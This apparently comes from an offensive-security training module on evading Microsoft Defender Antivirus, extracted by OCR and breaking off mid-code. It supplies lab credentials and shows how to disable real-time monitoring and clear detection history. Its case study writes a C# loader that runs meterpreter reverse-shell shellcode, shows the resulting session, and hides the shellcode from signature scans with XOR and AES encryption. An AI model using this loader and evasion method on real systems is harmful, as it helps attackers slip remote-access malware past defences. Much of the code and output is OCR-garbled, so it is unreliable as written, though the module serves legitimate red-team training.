14. Introduction to Windows Evasion Techniques

Introduction

Introduction to the Module

In this module, we will be discussing the basics of evading antivirus . Specifically, we will
focus on evading Microsoft Defender Antivirus, which attackers most commonly
encounter during engagements. That being said, all the techniques in this module may be
adapted to work with other antivirus solutions.

Evading antivirus is commonly referred to as a cat-and-mouse game. This is

because attackers come up with new attack vectors just as frequently as antivirus
providers come up with new ways to catch them. Depending on who you ask, one or the
other may be a step ahead, but there is never a clear answer. One or the other may be a
step ahead, but there is never a clear answer. As of early 2024, while the attack vectors
covered in this module remain effective, they are susceptible to detection sooner or later.
Thus, it is crucial to prioritize grasping the underlying concepts rather than the specific
examples. The techniques discussed here will likely require adaptation and altering in the
future to evade detection.

Introduction to the Lab
Throughout this module, we will be working with the following two Windows VMs:

EVASION-DEV : A Windows server with administrative privileges access to
develop/debug payloads.

EVASION-TARGET : A Windows server with low-privileged user access. The sections'
questions and the skills assessments will require to attack this machine.

One way to access the machines is with xfreerdp, using the following syntax. Since files will
need to be transferred back and forth, the /drive argument allows us to map a local drive
to the remote machine (note that Microsoft Defender Antivirus may periodically scan
and delete files in this folder).

xfreerdp /v:[IP] /u:[USERNAME] /p:'[PASSWORD]' /dynamic-resolution
/drive:linux,/tmp

EVASION-DEV
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This section's question provides access to EVASION-DEV. Use it whenever developing an
exploit to solve any of the sections' questions.

The credentials for the development VM are the following:

Username Password Notes
Administrator Eva$ion! Built-in administrator account
maria Eva$ion! Administrator

max Eva$ion! Standard user

Most of the tools referenced in the sections reside in the ' C:\Tools ' folder, and throughout
the module, all custom programs developed will assume that this directory is being used.
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Note: Unless you know what you are doing, please stick to using the provided VM for
development, rather than using your own machine.

EVASION-TARGET

Initially, we only have access to the target VM as the following user:

Username Password Notes

alpha FGQxrLW2 Standard User

For all interactive sections, including the skills assessments, placing files in or interacting
with files in the folder "C:\Alpha" is required. Each subfolder will generate its
own log.txt file, which be useful in the case a payload does not work.
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Microsoft Defender Antivirus

Introduction to Microsoft Defender Antivirus

Microsoft Defender Antivirus isan antivirus software component, which comes pre-
installed on every copy of Windows since Windows 8.
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Windows Security

O Virus & threat protection

Protection for your device against threats.

D Current threats

No current threats.

Last scan: 3/24/2024 3:48 PM (quick scan)
0 threat(s) found.

Scan lasted 1 minutes 25 seconds

40997 files scanned.

Quick scan

Scan options
Allowed threats

Protection history

% Virus & threat protection settings

No action needed.

Manage settings

<o Virus & threat protection updates

Security intelligence is up to date.

Last update: 4/4/2024 9:04 AM

Have a question?

Get help

Who's protecting me?

Manage providers

Help improve Windows Security

Give us feedback

Change your privacy settings

View and change privacy settings
for your Windows 11 Home device.

Privacy settings

Privacy dashboard

Privacy Statement

Given the fact that it is built into the most commonly used (desktop) operating system, it is
unsurprising that Microsoft Defender Antivirus is one of the most commonly
used antivirus solutions.

Behind the Scenes

Behind the scenes, Microsoft Defender Antivirus employs a variety of techniques to
identify malware, including more traditional "signature scans", as well as more modern
"machine learning models" (diagram taken from Microsoft).
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For the purposes of this module, we can simplify all of the employed techniques into two
main categories of detection mechanisms:

Static Analysis : which has to do with detecting malware on-disk, before it is run.

Dynamic Analysis : which concerns detecting active malware in process memory .

Microsoft Defender Antivirus will scan files or processes for various reasons, such as
when it detects:

File creation/modification : so that a malicious file may be caught before being
executed

Suspicious behavior: for example, a Microsoft Word instance spawning a
PowerShell instance is more often than not malicious behavior

Throughout this module, we will be learning how to bypass

both static and dynamic detection mechanisms, and even though we will focus

on Microsoft Defender Antivirus specifically, the techniques taught may be adapted to
work with the majority of other antivirus software solutions.

Interacting with Microsoft Defender Antivirus

Microsoft Defender Antivirus can be managed through the windows Security client
interface, through the Defender Module for PowerShell, and a few other ways.

Windows Security Client Interface

The most common way to manage Microsoft Defender Antivirus is through the Virus
& Threat protection tab of the Windows Security app built into Windows .
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The graphic user interface allows us to start scans, view protection history, modify
protection settings and configure folder exclusions.

Defender Module for PowerShell

The Defender Module for PowerShell allows users to do all of what the GUI interface offers
and more.

C:\> -Module Defender
CommandType Name Version
Source
Function 1.0
Defender
Function 1.0
Defender
Function 1.0
Defender
Function 1.0
Defender
Function 1.0
Defender

Function 1.0
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Defender

Function 1.0
Defender
Function 1.0
Defender
Function 1.0
Defender
Function 1.0
Defender
Function 1.0
Defender
Function 1.0
Defender

Let's go through some of the more useful commands, starting off with Get-
MpComputerStatus, which can be used to get status details about antimalware
software (including Microsoft Defender Antivirus)on the computer. For example,
based on the output below, we can tell that:

The signatures were lasted updated on 08.04.2024
Tamper protection is disabled
The computeris a virtual machine

Real-time protection is enabled

C:\>
<SNIP>
AntivirusSignatureLastUpdated : 4/8/2024 3:02:58 PM
<SNIP>
IsTamperProtected : False
IsVirtualMachine : True
<SNIP>
RealTimeProtectionEnabled : True

Get-MpThreat can be used to view the history of threats detected on the computer. For
example, below we can assume a Cobalt Strike Beacon was detected.

C:\>
CategoryID : 6
DidThreatExecute : False
IsActive : False
Resources :
RollupStatus i1

SchemaVersion :1.0.0.0
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SeverityID : 5

ThreatID 1 2147894794

ThreatName : Backdoor:Win64/CobaltStrike!pz
TypelD 1 0

PSComputerName

<SNIP>

Get-MpThreatDetection is a similar command, which allows users to view the threat
detection history on a computer. If we wanted to get detection events related to the Cobalt
Strike Beacon detected, we could specify the ThreatID as an additonal parameter.
Based on this output, we can see that the file C:\artifact x64.exe was detected at
4/9/2024 9:38:39 AM.

C:\> -ThreatID 2147894794
ActionSuccess : True
AdditionalActionsBitMask : 0
AMProductVersion 1 4.18.24020.7
CleaningActionID 1 2
CurrentThreatExecutionStatusID : 1

DetectionID : {BDO541EE-FDEO-4001-9BEF-13CEA41FC7DE}
DetectionSourceTypelD : 3

DomainUser : WIN-I092S2V54F8\Administrator
InitialDetectionTime \479/2024 9:38:39 AM

LastThreatStatusChangeTime
ProcessName

*74/9/2024 9:38:55 AM
: C:\Windows\explorer.exe

RemediationTime : 4/9/2024 9:38:55 AM
Resources {file: C:\artifact x64.exe}
ThreatID : 2147894794
ThreatStatusErrorCode : 0

ThreatStatusID : 3

PSComputerName

The last two useful commands we will mention are Get-MpPreference and Set-
MpPreference, which may be used to configure Defender . When playing around with
Microsoft Defender Antivirus, itis often times necessary to enable/disable real-
time protection to avoid files getting deleted. This can be done quickly with the following
command:

C:\> -DisableRealTimeMonitoring $true

Static Analysis
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How Does It Work?

In the context of Microsoft Defender Antivirus, static analysis refers to the
detection of malware on disk through signature scans. This method involves checking
file hashes, byte patterns,and strings against a database of known malicious
values.

For example, if a computer has a file

with SHA256 hash ed0lebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e4
laa, then static analysis will flag it as a copy of WannaCry, as is shown in the screenshot
of VirusTotal below:

z a  ed0lebfbc3ebSbbea545af4d01bf5f1071661840480439¢c6e5babeSe080ed1aa a2 D @ & Signin

(D 62/68 security vendors and 6 sandboxes flagged this file as malicious C Reanalyze = Similar~  More

62

ed0lebfbcoebSbbeas45af4d01bf5f1071661840480439c6e5. .. Size Last Modification Date %&
diskpart.exe 3.35 MB 13 minutes ago EXE
Community peexe  checks-disk-space  executes-dropped-file  via-tor malware  callsswmi  checks-cpu-name
Score checks-network-adapters  detect-debug-environment  direct-cpu-clock-access ~ macro-create-ole  self-delete long-sleeps
checks-userinput  overlay  runtime-modules
DETECTION DETAILS RELATIONS BEHAVIOR TELEMETRY COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourged detections, plus an AP key to automate checks.

Popular

threat () ransomware.wannacryptor/wannacry — Threat categories ransomware  trojan Family labels wannacryptor  wannacry  wani

label

Security vendors' analysis (O Do you want to automate checks?

AhnLab-v3 @ Trojan/Win32.WanhaCryptor.R200571 Alibaba @ Ransom:Win32/wannaCry.alil020010

Alicloud @ RansomWare AlYac @ Trojan.Ransom.WannaCryptor

Antiy-AvL @ Trojan[Ransom]/Win32.Scatter Arcabit @ Trojan.Ransom.WannaCryptor.A

Avast @ Win32:WanaCry-A [Trj] AVG @ Win32:WanaCry-A [Trj]

Avira (no cloud) @ TR/Ransom.JB Baidu @ Win32Trojan.WannaCry.c @
RitDefender {7} Troian Ransom WannaCrvotar & RitDefenderTheta (M Gen:lM aF 36802 wid@aGFmSadi

Aside from file hashes, patterns of bytes (including strings ) that appear inside a file
are another reliable technique to detect malware. For instance, the YARA rule below utilizes
15 different strings and 6 byte sequences to identify instances of WannaCry , even if they
have different file hashes.
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The signature database used by Microsoft Defender Antivirus is not publicly available;

however, we can explore it indirectly with ExpandDefenderSig.ps1, a reverse engineering
script developed by Matt Graeber that decompresses Windows Defender Antivirus
signatures.

Using the script, we can see for example that "WNcry@2ol7" (one of the strings from the
YARA rule above) shows up in Microsoft's signature database:

C:\Tools\ExpandDefenderSig>
C:\Tools\ExpandDefenderSig\ExpandDefenderSig.psl

C:\Tools\ExpandDefenderSig> "C:\ProgramData\Microsoft\Windows
Defender\Definition Updates\{50326593-AC5A-4EB5-A3F0-
047A75D1470C}\mpavbase.vdm" | -OutputFileName

mpavbase. raw
Directory: C:\Tools\ExpandDefenderSig

Mode LastWriteTime Length Name


https://gist.github.com/mattifestation/3af5a472e11b7e135273e71cb5fed866
https://github.com/mattifestation

-a---- 4/9/2024 12:50 PM 79092299 mpavbase. raw

C:\Tools\ExpandDefenderSig> C:\Tools\Strings\strings64.exe
.\mpavbase.raw | -Pattern "WNcry@2ol7"

WNcry@2ol7d
WNcry@2ol7

Case Study: NotMalware

Baseline

After having a basic understanding of static analysis, we will learn how to modify a
malicious program such that Microsoft Defender Antivirus does not detect it when
stored on disk. In this case, we'll use the following shellcode loader writtenin C#, which
uses common WinAPI functions to execute meterpreter/reverse_htip shellcode (don't worry
about understanding exactly how this program works).

using System;
using System.Ling;
using System.Runtime.InteropServices;

namespace NotMalware

{
internal class
{
[ ("kernel32") ]
private static extern ( lpStartAddr,
size, flAllocationType, flProtect);
[ ("kernel32")]
private static extern bool ( lpAddress, uint
dwSize, flNewProtect, out lpflOldProtect);
[ ("kernel32")]
private static extern (
lpThreadAttributes, dwStackSize, lpStartAddress,
param, dwCreationFlags, ref lpThreadId);
[ ("kernel32")]
private static extern ( hHandle,

dwMilliseconds);

static void (string[] args)

{


https://doubleoctopus.com/security-wiki/threats-and-tools/meterpreter/
af://h2-14
af://h4-15

byte[] buf = new byte[] {<SNIP>};

lpStartAddress = (IntPtr.Zero,
(UInt32)buf.Length, 0x1000, 0x04);

Marshal. (buf, 0, 1pStartAddress, buf.Length);

lpflOldProtect;
(LpStartAddress, (UInt32)buf.Length, 0x20, out

lpflOldProtect);

lpThreadId = 0;
hThread = (6, 0, lpStartAddress,
IntPtr.Zero, 0, ref lpThreadId);

(hThread, Oxffffffff);

Note: When creating a new project, make sure to select Console App (.NET Framework) ,
and when compiling make sure to target x64 in Release mode.

Compiling and executing this program, with Real-time protection disabled, we can see
that it works as intended, resulting in a meterpreter session.



msf6 exploit( ) > run

[*] Started HTTP reverse handler on http://0.0.0. 0

[1] :/ 80 handling request from 127.0.0.1; (UUID: nng5r3n7) Without a database connected that payload UUID tracking will not work!
[*] ://0.0.0.0 handling request from 127.0.0.1; (UUID: nng5r3n7) Staging x64 payload (202844 bytes) ...
[t]
[*]

http://0.0.0 handling request from 127.¢ 1; (UUID: nng5r3n7) Without a database connected that payload UUID tracking will not work!
Meterpreter session 1 opened (127.0.0.1:8080 — 127.0.0.1:37770) at 2024-04-04 18:04:37 +0200

meterpreter > getuid
Server username: WIN-I092S2V54F8\Administrator

meterpreter >

ki FreeRDP:10.129.229.169

File  Edit ¢ G o Build  Debug
Windows Security

\NotMalware. exe

&«
ools\NotMalware\NotMalware\b > . \NotMalware. exe % \irus & threat protection settings

View and update Virus & threat protection settings for Microsoft
@ Defender Antivirus.

|o
- Real-time protection
| Locates and stops ware from installing or running on your device. You
5 can turn off this setting for a short time before it turns back on
automatically.
J=1 [® " Real-time protection is off, leaving your device vulnerable.
) ® ) off

Cloud-delivered protection

Provides increased and faster protection with access to the latest
protection data in the cloud. Works best with Automatic sample
submission turned on.

1pThreadld = 8; Cloud-delivered protection is off. Your device may be Dismiss
IntPtr hThread = CreateThread(e, ®, lpStartAddress, IntPtr.Zero, 8, ref lpThreadId); vulnerable.

WaitForSingleObiect(hThread, Oxffffffff);
© No issues found E)

Note: The folder C:\Tools has an antivirus exclusion, so.that we can use/develop tools
without worrying about Microsoft Defender Antivirus deleting them.

However, after enabling Real-time protection, attempting to copy the compiled program
out of C:\Tools and onto the Desktop will resultin the file getting detected by Microsoft

Defender Antivirus.

M O-! Manage
Home Share View Application Tools

« - 5 ThisPC > LocalDisk (C:) 5 Tools » NotMalware 5 MNotMalware.> bin s x64 » Release v | @ | | SearchRelease ¥
Name Date modified Type Size
# Quick access
s File folder
Tools
[ NotMalware Application 6KB
[ Deskiop N Kt e 2m vha ¢ 1vo
NotiMahw B | [4 = | Manage Desktop -
Release Home Share View Application Tools
EmhispC ¢ « 4 B> ThisPC > Desktop v @ | SearchDesktop »
J 3D Objec =
Name Date modified Tpe Size
I Desktop ¢ Quick access
= Documer [ [55] NotMalware 4,911 AM Application 6 KB
¥ Downlos I Desktop
b Music NotMalware
&= Pictures Pelese
B Videos
[ This PC
. Local Dis
J 3D Cbjects
¥ Network I Deskiop
=] Documents
I Downloads
B Music
4items  1iten = Pictures

& videos

‘i Local Disk (C3)

Security

Windows Securi
=¥ Metwork ty

Threats found
A

Titem 1 itemn selecte

Using the Get-MpThreat and Get-MpThreatDetection commands, we can see the file

NotMalware.exe was classified as Trojan:Win64/Meterpreter.E before it was executed.


https://learn.microsoft.com/en-us/powershell/module/defender/get-mpthreat?view=windowsserver2022-ps
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PS C:\Users\Administrator» Get-MpThreatDetection

: True

65C-54A2 - ACED-ABB1- 2B1AF49
Administrator

AM

Administrator\Desktop\NotMalware.exe}

64 /Meterpreter.E

PSComputerName

Note: To clear the protection history log, simply delete all files in the following folder:
C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service

XOR Encryption

Although the information provided by Get-MpThreat and Get-MpThreatDetection is
valuable, we do not know what precisely in the file triggered this detection. There are tedious
ways to figure this out manually, or we can use a tool like ThreatCheck to figure this out
simply. First, make sure Real-time protection is disabled, go to the folder containing
NotMalware.exe, and then run the following command:

C:\Tools\NotMalware\NotMalware\bin\x64\Release> C:\Tools\ThreatCheck-
master\ThreatCheck\ThreatCheck\bin\x64\Release\ThreatCheck.exe -f
.\NotMalware.exe

ThreatCheck works by splitting a file into chunks and subsequently making Microsoft
Defender Antivirus scan them until it finds that triggers a detection. Taking a look at the
output, it becomes clear that Microsoft Defender Antivirus is detecting the bytes of the
Meterpreter shellcode.


https://github.com/rasta-mouse/ThreatCheck
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Program.cs 4 X

Vialware Aalware.Program ~ g Main(string[] args)

WaitForSingleObject(IntPtr hHandle, dwMilliseconds);

Main(

[1 buf = t Oxfc,oxus, Bxeld, Bxf08, 0xe8,Bxcc,Ox00, 6x00, 0x00 ,Ox41,0x51 ,OxUl,B8x50,8x 51,0x48,0x31, 8xd2, Bx56 ,8X65

IntPtr 1lpStartAddress = VirtualAlloc(IntPtr.Zero, ( Jbuf.Length, Bx1888, 8x8u);

BN Administrator: Windows PowerShell
hreatCheck.exe .\NotMalware.exe

00000000 61 6 61 72 6 7 64 6 ] 8 alware.pdb- - -GH?
00000010 3 I ddeI- - - AQAPRQH1O
00000020 6 € - 3 8 3 48 8 ] VeH?R H?R-H?R H?
00000030 ! 7 4 9 48 ) 6 rPH- - JJM1EH1A-<a
00000040 ) C |-, AAE-A-A3TRAQ
00000050 3 3 3 66 81 78 18 . T .
00000060
0000007 ] 8 .
00000080 5 g 3 3 3 6 9 3 VHYEA? 1EH1
00000090 ) 3 A-AAE - A-ABaunL - L
000000A0 3 7 3 58 3 66 - $1-Df
.. 00000080 3 3 8 9 ] 88 ?-HD?@-T-DA?-7A
100% 000000CO ‘ 3 48 d

“'000000EQ
000000F0 7 g 80 3 7 7 T AVH?AICALW& - YO

As the Metasploit Framework is a well-known open-source tool, it should not be surprising
that Microsoft developed signatures for Microsoft Defender Antivirus to catch the
shellcode it generates. This means that in order to get past the signature scans, we are
going to need to obfuscate it someway so that it doesn't get recognized.

Traditionally, a very common way to do this has been by XOR-ing the shellcode stored in
the program, and then XOR-1ing it again again right before writing it into memory so that the
original values are restored. Thus, when the file gets scanned by Microsoft Defender
Antivirus, the shellcode would appear as random bytes that shouldn't match a signature.

We can use this CyberChef recipe to XOR our shellcode with the value 0x5C (make sure to
get rid of new lines, as this breaks the recipe).

Recipe e § inpu + O3 8§ =
A H Oxfc, 0x48, 0x83, Oxed, OxfO, Oxe8, Axcc, 0x00, Ox068, 0xBO, Ox41, 0x51, Bx41, x50, 0x52, Bx51, 0x48, Ox31, Oxd2, Bx56, x65, Bx48, Bx
rom Hex 8b, 0x52, 0X60, 0x48, 0x8b, 0X52, Bx18, 0x48, 0x8b, 0x52, 020, 0x48, 0x8b, DX72, 0x50, 0X48, OX0F, Bxb7, 0x4a, 0x4a, 0x4d, 0X31, OXCY
Delimiter ,0x48,0x31, 0xcl, Oxac, 0x3c, 0x61, Ox7c, Ox02, 0x2c, 0x20, 0x41, Oxcl, Oxcd, Ox0d, Ox41, 0x01, Oxcl, Oxe2, Oxed, 0x52, 0x41, 0x51, 0

%48, 0x8b, 0x52, 028, BxBb, 0x42, Ox3c, 0x48, Ox01, OxdB, Ox66, 0x81, Ox78, Bx18, Bx0h, 0x02, Ax6T, OXB5, 0X72, 0X06, OX00, 0X08, OX8
b, 0x80, 0x88, 0X00, Ox0, OX0, Ox48, 0XB5, OXCO, OX74, 0X67, 0x48, 0x01, 0xd0, ©X50, @x8b, 0x48, 0x18, 0x44, @x8h, Ox4@, 0x20, 0X49,
0x01, 0xd®, Oxe3, 0x56, 0x48, Oxff, Bxc9, Ox41, 0x8h, Bx34, 0x88, 0x48, BxB1, Oxd6, Ox4d, Bx31, BxcY, Ox48, Bx31, Bxcd, Oxac, Bx41, Bx

0x with comma

XOR c1,0xc9, @xad, 0x41, 0x01, Oxcl, 0x38, 0xe@, 0x75, 0xf1, @x4c, 0x03, @x4c, 0x24, 0x08, 0x45, 839, Oxd1, @x75, @xd8, 0x58, 0x44, Ox8b
,0x40,0x24,0x49, 0x01, 0xd0, 0x66, 0x41, O0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, Oxd0O, Ox41, 0x8h, 0x04, 0x88, 0x41, 0

Key Scheme %58, 0x41, 0x58, 0x48,0x01, 0xd0, 0x5€, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, Oxec, 0x20,0x41, 0x52, 0xff, Oxe
5¢ HEX~ Standard [ wull preserving 0, 0X58, 0x41, BX59, 0X5a, 0x48, @x8h, 0X12, 0xe9, 0x4h, OxFF, OxFf, OxFF, Bx5d, 0x48, 0x31, Oxdh, 0X53, 0x49, Bxbe, 0X77, 0X69, OXGe,

0x69, OxBe, Ox65, Ox74, 0x00, Ox41, 0x56, 0x48, 0x89, Axel, Ox49, Oxc7, Bxc2, Oxdc, O0x77, 0x26, 0x07, Oxff, Oxd5, Bx53, 0x53, Bx48, Bx
89, 0xel, 0x53, 0x5a, 0x4d, 0x31, 0xco, Ox4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xba, @x3a, 0x56, 0X79, 0xa7, 0x00, 0x00, 0X00, Ox06, @xTf

To Hex ,0xd5, 0xe8, Ox0e, Ox00, 0x00, 0x00, 0x35, 0x31, 0x2e, 0x33, 0x38, Ox2e, 0x31, 0x31, 0x35, 0x2e, 0x32, 0x31, 0x35, 0x00, 0x5a, 0x48, 0
%89, @XC1,@X49, @XCT, 0XCO, 090, 0x1f, 8x09, 0x00, Ox4d, 0X31,BXCY, OX53, @53, 0X6a, 0x03, 8X53, 0x49, Bxba, 0x57, 0x89, Bx8f, OxC

Delimiter Bytes per line 6,0x00, 0x00,0x00, 0x00, OxFf, 0xd5, Oxe8, Oxea, Ox00, 0x00, 000, Ox2f, Ox5a, 0x57, 0x55, Oxdc, Ox77,0x51, 077, 0x41,0x48, 0x54,
0x with comma ° 0x37,0x30, 8x74, 8x66, 0x57, 0x33, @x6b, 0x72, 0x73, 8x36, Bx4b, 0x67, Bx6e, Ox33, 0x30, 0x78, Bx65, Bx57, Oxde, Ox37, Bx34, Oxda, Bx

4a,0x77, 8x5a, 0x39, 0X75, 8x31, Ox4T, ©X67, 6x6a, Bx5F, Bx6h, 0x37, 8X63, 0x79, OX57, 6X63, BX7a, 0x39, 0X64, 8X71, 0X76, OX58, BX46
,0X71, 0x57, 0x77, Ox6a, Ox6b, 653, 0x38, 0x53, 0x43, Ox5F, 0x68, 0x31, 6x2d, 0x43, 0x71, 0x59, Ox4b, 0x42, ©x4d, 659, 0x62, 0x49, 0

o 3764 = 1 Tr Raw Bytes 43 LF

Output a0 m::

Oxa®, 0x14, Oxdf, Oxb8, Oxac, O@xb4, 8x98, 0x5c, Bx5c, Bx5c, Ox1d, 0x0d, Bx1d, 8xBc, OxAe, Bx0d, Bx14, Ox6d, Ox8e, BxBa, Ox39, Bx14, Bx
d7,0x0e, 0x3c, 0x14,0xd7, 0x0e, Ox44, 0x14,0xd7, 0x0e, 0x7c,0x14, 0xd7, 0x2e, @x0c, 0x14, 0x53, Oxeb, 0x16, 0x16, 0x11, Ox6d, @x95
, 0x14, 0x6d, 8x9c, OxTB, 0x60, Bx3d, 8x20, Ox5e, Bx70, Ox7c, Ox1d, Bx9d, Bx95, 8x51, Bx1d, Bx5d, 8x9d, Bxbe, Bxb1, Bx0e, Ox1d, BxAd, &
%14, 0xd7, 0x0e, 0x7c, Bxd7, Ox1e, 0x60, 0x14, 0x5d, 0x8c, 0x3a, Oxdd, 0x24, 0x44, 0x57, 0x5e, 0x53, 0xd9, Bx2e, 0x5¢, 0x5¢ , Bx5¢, Oxd
7,0xdc, 0xd4, 0x5c, 0x5¢, Ox5¢, 0x14, 0xd9, 0x9¢c, 0x28, 0x3b, 0x14, 0x5d, @x8c, 0x0c, 0xd7, Ox14,0x44, 0x18, Oxd7, Ox1c, 0x7c, 0x15,
0x5d, 0x8c, Oxbf, OxBa, Ox14, 0xa3, 8x95, Ox1d, Oxd7, 0x68, Oxd4, O0x14, 8x5d, Bx8a, Ox11, Bx6d, 8x95, Ox14, Ox6d, Bx9c, OxTO, Bx1d, Bx
9d, 0x95, 0x51, 0x1d, 0x5d, 0x9d, 0x64, @xbc, 0x29, 0xad, 0x10,0x5f, 0x10, 0x78, 0x54, 0x19, 0x65, 0x8d, 0x29, 0x84, 0x04, 0x18, @xd7

We can replace the shellcode in the program with the output, and then add a short loop
which X0Rs each byte with 0x5C just before writing the shellcode to memory.

<SNIP>



https://gchq.github.io/CyberChef/#recipe=From_Hex('0x%20with%20comma')XOR(%7B'option':'Hex','string':'5c'%7D,'Standard',false)To_Hex('0x%20with%20comma',0)

byte[] buf = new byte[] { <SNIP> }

<SNIP>

int i = 0;

while (i < buf.Length)

{
buf[i] = (byte) (buf[i] ©~ 0x5c);
i++;

}

<SNIP>

Although simple XOR encryption may have been enough to get past antivirus signature
scans in the past, when we try to compile the program and then run ThreatCheck against it
once more, we see that Microsoft Defender Antivirus still detects the shellcode:

te[] buf = =[] { exa®, ex14, Oxdf ©xb8, &xac, Oxbd, 8x98, Ox5c, B@x5c, Ox5c, 6x1d, Oxe8d, Ox1d, OxBc, 8x@e, Ox@d, ex1uy, @
]

IntPtr lpStartAddress = VirtualAlloc(IntPtr.Zero, ( Jbuf.Length, ©x108680, ©x6uU);

ti=e;
while (i < buf.Length)
{
buf[i] = ( =)(buf[i] ~ @x5c);
i++;

EN Administrator: Windows PowerShell

PS C:\Tools‘\NotMalware\NotMalware\bin\x64\Release> C:\Tools\ThreatCheck-master\ThreatCheck\ThreatCheck
hreatCheck. exe .\NotMalware.exe

00000000
00000010
»00000020
00000030
00000040
00000050
00000060
"00000070
00000080
.00000090
,000000A0
000000B0O
000000cO
000000D0
000000ED
000000F0

AES Encryption

An intriguing aspect of bypassing antivirus solutions is that it necessitates creativity, given
the absence of a definitive method for achieving a specific objective—no "right" or "wrong"
methods exist. In this case, XOR-encrypting the shellcode is not enough to bypass
Microsoft Defender Antivirus, therefore, let's try something different, like AES-


af://h4-17

encrypting the shellcode instead. We can use another CyberChef recipe to AES encrypt
the shellcode (using an arbitrary key and 1V).

4a, 0x77,0x5a, 0x39, 0x75, 0x31, 0x47, 0x67, Ox6a, @x5f, Ox6h, 0x37,0x63,0x79, 0x57, 0x63, 0x7i

i Gl ,@x71, Bx57, 077, 0x6a, Bx6b, Gx53, Bx38, Bx53, 0x43, Gx5F, 0x68, 0x31, 0x2d, Bx43, 0x71, 0x59, |
T %54, Bx48, Bx39,0x72, 0x33, 0x74, Bx4c, 0x63, Ox4f, 0x45, Bx35, 0x77, 0x37, 064, BX71, %51, Ox
0x with comma d, @x66,0x39, 0x4b, OX67, Bx33, 0x49, 8x74, OX75, BX67, Ox6a, 0x79,0x2d, Bx37, Ox50, 8x2d, OXT5

8x63, Bx6T, %59, 0x6e, Ox6T, Oxde, 0x73, 0x63, Ox68, 0x43, 0x5T, Ox68, Ox42, 0x63, Bx41, 837, O
78, Bx63, Bx59, 0X56, 8x41, 0x77, 0x5T, 0x44, 0x33, 0x51, 0x66, Bx2d, @77, Ox64, BX78, BX33, OX6.
AES Encrypt on ,8x34,0x79,0x51, 0x35, 0x31, @x6d, Ox54, Ox56, 0x32, Ox68, Oxde, Ox63, Ox5f, Ox6C, Oxbe, OX52,
x70,0x72, 8x2d, 0x59, 0x68, Ox4e, Bx4T, 0x58, x48, 8xT9, Bx61, 0x43, @x57, @x44, 0x4b, 0x78, @x
Kev v 4,0x38,0x36, 0x69, 0x54, 0x69, Oxde, O0x2d, OxT5, Bx31, 0x31, 0x46,0x67, 8x73, Oxdb, 0x70, Ox31
1f768bd57cbfe21b . HEX” ee7d63936ac1t286 .. HEX™  0x89,0xc1, 8x53, 0x5a, 0x41, 0x58, 0xdd, Bx31, Bxc9, Ox53, 0x48, 0xb8, 0x00, 0x02, 0x28, 6xB4, 0;
53, 0x49, 0xc7,0xc2, Oxeb, ©x55, 0x2e, 0x3b, @xff, Oxd5, Ox48, 0x89, Oxc6, Ox6a, Ox0a, Ox5T, x5!
Mode Input Output ,0xc9, 0x4d, 0x31, 0xc9, 0x53, 0x53, 8x49, 0xc7, 0xc2, 0x2d, Ox06, 0x18, Ox7h, 0xTf, 0xd5, 0x85,1
CBC Raw Raw x88,0x13, 0x00,0x00,0x49,0xba, 0x44,0xT0,0x35, 0xed, Ox00, 0x00, 0x00, 0x068, OxTf, 0xd5, Ox:
c,Oxe8, 0x55, Bx00, Ox00, Dx00, 0x53, 8x59, Ox6a, Bx40, 0x5a, 0x49, 0x89, Bxd1, Bxcl, Bxe2, Ox10
0x00, 0x49, Bxba, 0x58, Oxad, 0x53, Bxe5, Ox00, 0x00, 0x00, 0x00, OxTf, Oxd5, 0x48, x93, Bx53, O:
To Base64 Qn f1,0x48, 0x89, Gxda, 0x49, 0xc7, 0xcO, 8x00, 8x20, @x00, Ox06, 0x49, 0x89, OxF3, 0x49, Oxba, Ox1.
,8x00, 0xff, 6xd5, 0x48, Bx83, @xcd, Ox20, Bx85, OxcO, 0x74, @xb2, 0x66, Bx8h, DxOT, 0x48, 8x01, |
ﬁﬂ?bﬂ 0 o4/= . xc3,0x58, Bx6a, 000, 058, 0x49, 0xc7, Oxc2, 0xFO, 0xh5, Bxa2, 0x56, 0xFF, Oxds|
a-z mmc 3764 = 1
Output

\STBZthpAbq5fN0'I.tKECXEEBp?lVRI)MhAQg5ZUaIVHKYWrIWDKV?a5PFanj RKUMWBT5334C0JYwwGp-+nl
CimmS9GxW/9jMcSqwG70eJu+5/S86uICMKVFOOKDRATYIIF1ABY 2ZHIUYKL JPA]jZL2Z6C+MEVPUZT45wwE]
/%4Fyibm55TKA41ixhGIUTsN2NdGp3ThavASDVYLg2k4QiMuveQiNFMa
/5D6ds@3tqCUCiwgglvikwyuQkisubZShYEGVBFb LZbbnPnTOfmwrHiZdOmGABPKISQLoACcP2Z4e5kX ]It
/BzvxTAW50eXhif jxpeldEF37hWINKISaTuSPvU+t940azol1t5MhCIsI6615HALr pyD1g34YEMumhwxsPi
/mr LWNMO8xBa lWvkgdakeEBUHdBORY SELIV/IA190wWTtq9p JHEOPWDES /OVAd8EhS+7qHL31f02TCUTOSY:
/NWKAQ I TOMUrWQ+yXEiw]jB48QpxxDa7rZYHegCsiuYJbhRgNpw6nUeVAND 18+EROFwW v8x07IbxFAndha:
/34uKhcsBfaYyqouwu22Vbwd26NV2uSoruS05C4ppOcOMEtNwgQtvXTHOFORNL4d@kwgGzV0g53z6kA0ok]
j+3Tz3k0eC28aKJIBqRYSfpjKiax0oPaFRkmduBMge9DRREWLERI25QJrSHrazhdZKQ166Es jzGvdpYzril
RVeilu8MFuYI+BQCqALtfZZbXs1Kaw
SWvTuFwe+P3zF7zr804phKtmm8DL2rv2+1EX9HiWbdP3dxExKUN2vQYImg32gjthntjZ5dtOmtDFSYCXT)
Yhdxr11j1dm99cyQ

After copying the output, the C# program will require ‘a bit more modification than a simple
loop, but the changes are pretty straight forward:

<SNIP>
using System.Security.Cryptography,

namespace NotMalware
{

internal class Program

{
<SNIP>

static void Main(string[] args)
{

// Shellcode (msfvenom -p windows/x64/meterpreter/reverse http
LPORT=... -f csharp)

string bufEnc = "<SNIP>";

LHOST=. ..

// Decrypt shellcode

Aes aes = Aes.Create();

byte[] key = new byte[1l6] { Ox1f, 0x76, 0x8b, 0xd5, Ox7c,
Ox1b, 0x25, 0x1d, Oxeb, 0x07, 0x91, 0xd8, Oxcl, 0x97 };

